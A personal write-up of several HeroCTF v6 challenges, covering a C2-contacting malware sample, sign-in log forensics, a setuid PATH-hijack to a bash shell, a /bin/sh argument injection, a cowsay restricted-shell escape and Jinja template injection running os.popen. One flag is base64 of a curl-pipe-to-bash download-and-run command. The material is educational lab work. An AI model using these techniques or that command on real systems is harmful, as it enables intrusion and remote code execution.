HeroCTFv6
During October 2024, I participated to the HeroCTF. I managed to score 1272 points on my own. You will find below my writeups.
Enjoy 😉
Reverse - AutoInfector
Part 1
When browsing the website, we notice a download button with a password restriction. By looking to the JS, we understand that we must find it to validate this part.
Javascript is a bit obfuscated and performs operations like XOR, MD5.
If we place a breakpoint in it and fill test as password, we get the following result.
Our input is firstly converted into md5 and xored with md5 value of “AutoInfector”. Then, this value is compared to a specific hash.
To find the password, we must unxored this specific hash and then crack it.
$ echo -ne 'infectedmushroom' | md5sum
f200ef234d1092396a1058925b8a0d3f -
Part 2
By reading the description, we now that we must get on a C2. If we run the executable, we notice this interesting HTTP request.
We have found the C2 but we don’t get any stage2 due to the 403 FORBIDDEN response.
If we look for the 000004c value on google, we see that is related to our keyboard configuration.
To bypass this geofencing restriction, we create a wordlist containing keyboard codes and see if the C2 responds differently to one of it.
#!/usr/bin/python3
import requests
def stage2(keycode):
r = requests.post(
url="http://c2.capturetheflag.fr:4444/stage2",
data={"language":keycode},headers = {"User-Agent":"AutoInfector V1.0"},
proxies={"http":"http://127.0.0.1:8080"}
)
if r.status_code != 403:
print("FLAG? !! => " + keycode)
print(r.text)
with open('codes.txt','r') as f:
for line in f.readlines():
stage2(line[:-1])
And after few seconds, we get the flag :
Part 3
For the third step, we now that the flag may be contained inside a command from the C2. Inspecting the following code, we find the pollServer function which uses a specific User-agent for fingerprinting.
However, sending a request with a good User-Agent is giving us a respond without the flag.
But we now that a command may be sent, so we can monitor the endpoint with a simple python script and get the flag seconds later.
Forensic - Tenant Trouble
The file opening winchester77_signin_logs_2024.csv contains authentication logs.
After filtering UserLoginFailed rows, we notice that mister.bennet@winchester77.onmicrosoft.com has way more failures than other accounts.
Creation Time | Operation | UserId |
---|---|---|
2024-05-02T10:43:47Z | UserLoggedIn | elizabeth.bennet@winchester77.onmicrosoft.com |
2024-05-02T10:56:47Z | UserLoggedIn | jane.bennet@winchester77.onmicrosoft.com |
2024-05-02T11:05:37Z | UserLoginFailed | mister.bennet@winchester77.onmicrosoft.com |
2024-05-02T11:26:47Z | UserLoggedIn | george.wickham@winchester77.onmicrosoft.com |
2024-05-02T11:40:09Z | UserLoginFailed | mister.bennet@winchester77.onmicrosoft.com |
2024-05-02T12:08:57Z | UserLoggedIn | charles.bingley@winchester77.onmicrosoft.com |
2024-05-02T13:45:01Z | UserLoginFailed | mister.bennet@winchester77.onmicrosoft.com |
2024-05-02T16:11:31Z | UserLoginFailed | mister.bennet@winchester77.onmicrosoft.com |
2024-05-02T16:14:56Z | UserLoggedIn | catherine.debourgh@winchester77.onmicrosoft.com |
2024-05-02T16:37:17Z | UserLoggedIn | fiztwilliam.darcy@winchester77.onmicrosoft.com |
This first series of LoginFailed represents the beginning of the attack.
Which means the flag is Hero{2024-05-02;mister.bennet@winchester77.onmicrosoft.com}.
Misc - Einstein
Once the challenge is deployed and we are connected, we can find these files inside our home directory :
user@einstein:~$ ls -l
total 20
-rwsr-sr-x 1 einstein einstein 16160 Oct 25 17:37 learn
-rw-r--r-- 1 einstein einstein 679 Oct 25 17:35 learn.c
We observe that learn binary has setuid set and we got the following source code.
#include <stdio.h>
#include <unistd.h>
int main() {
// Welcome message
printf("Welcome to this physics course! All information on this course is not copied from the internet without fact check and is completely riginal.\n");
printf("\n===================================\n\n");
// Execute cat command
setreuid(geteuid(), geteuid()); // Because system() runs sh that resets euid to uid if they don't match
// Otherwise we could not read /home/einstein/theory.txt
char command[30] = "cat /home/einstein/theory.txt";
if (system(command) == -1) {
perror("system");
return 1;
}
return 0;
}
We notice that the cat command is used without specifying absolute path and the $PATH variable is not defined. Which means, we can execute any binary called cat by modifiying our PATH variable.
If we create a cat script and place it inside the /tmp folder that we’ve added in our $PATH, our script will be executed when running learn programm.
user@einstein:~$ echo '#!/usr/bin/bash' > /tmp/cat
user@einstein:~$ echo '/bin/bash' >> /tmp/cat
user@einstein:~$ export PATH=/tmp:$PATH
Now we can run ./learn to get a shell as einstein and get the flag.
user@einstein:~$ ./learn
Welcome to this physics course! All information on this course is not copied from the internet without fact check and is completely riginal.
===================================
bash: /home/user/.bashrc: Permission denied
einstein@einstein:~$ ls /home/einstein
flag.txt theory.txt
einstein@einstein:~$ /usr/bin/cat /home/einstein/flag.txt
Hero{th30ry_of_r3l4tiv3_p4th5}
Misc - Free Shell
When the challenge instance is deployed, we can interact with a program on a tcp port.
Let’s inspect the source from the attachment :
#!/usr/bin/env python3
import os
import subprocess
print("Welcome to the free shell service!")
print("Your goal is to obtain a shell.")
command = [
"/bin/sh",
input("Choose param: "),
os.urandom(32).hex(),
os.urandom(32).hex(),
os.urandom(32).hex()
]
print(command)
subprocess.run(command)
In this script, we are controlling the first parameter of the /bin/sh command. We can’t exploit a basic command injection here but we can do a parameter injection.
So digging into the sh man, we find the -s parameter enables taking input directly from stdin. So injecting this argument is immedialty giving us an interactive shell and we can get the flag.
Misc - LazySysAdmin
When going on http://misc.heroctf.fr:8085 and inspecting the source code, we can find this malicious javascript.
After base64 encoding the payload, we can use the following flag :
HERO{Y3VybCAtcyBodHRwczovL2dob3N0YmluLnNpdGUvNnk2NWwvcmF3IHwgYmFzaCAmJiBzbGVlcCAyICYmIHJlYm9vdCAtZg==}
Misc - Moo
When we connect through SSH to the challenge, we get a message saying where the flag is and how to get it.
Unfortunately, sudo/cat and ton of other commands are not found.
In this jail, we can’t change our $PATH variable either. It seems we can only execute cowsay, dircolors, ls, rbash or vim commands.
Thanks to GTFOBIN, we know we can get a shell with cowsay as it can takes perl script in parameter.
We write our payload with vim because redirections are not allowed.
echo 'exec "/bin/sh";' > $TF
cowsay -f $TF x
And now, we can get the flag.
Web - PrYzes
When going to the URL, we found this webpage without any special content.
After downloading the source code, we found the /api/prizes endpoint which will give us the flag.
@app.route("/api/prizes", methods=["POST"])
def claim_prizes():
data = request.json
date_str = data.get("date")
received_signature = request.headers.get("X-Signature")
json_data = json.dumps(data)
expected_signature = compute_sha256(json_data)
if not received_signature == expected_signature:
return jsonify({"error": "Invalid signature"}), 400
if not date_str:
return jsonify({"error": "Date is missing"}), 400
try:
date_obj = datetime.strptime(date_str, "%d/%m/%Y")
if date_obj.year >= 2100:
return jsonify({"message": FLAG}), 200
return jsonify({"error": "Please come back later..."}), 400
except ValueError:
return jsonify({"error": "Invalid date format"}), 400
We must send a POST request with a json body containing a date later than 2100 years. Moreover, we must add a specific header (X-Signature) with the sha256 value of the request body.
Web - Jinjatic
When visiting the website, we quickly find a page where we can submit an email address.
With the name of the challenge, we find that this field is vulnerable to Server Side Template Injection.
{{7*7}}@ctf.fr
Unfortunatly, a payload like this is not accepted by the backend.
{{cycler.__init__.__globals__.os.popen('id').read()}}@ctf.fr
The trick for this challenge is to use an email with a display name.
"display name" <test@ctf.fr>
And luckly for us, we can use all desired characters in the display name part.
So we get the flag with this final payload.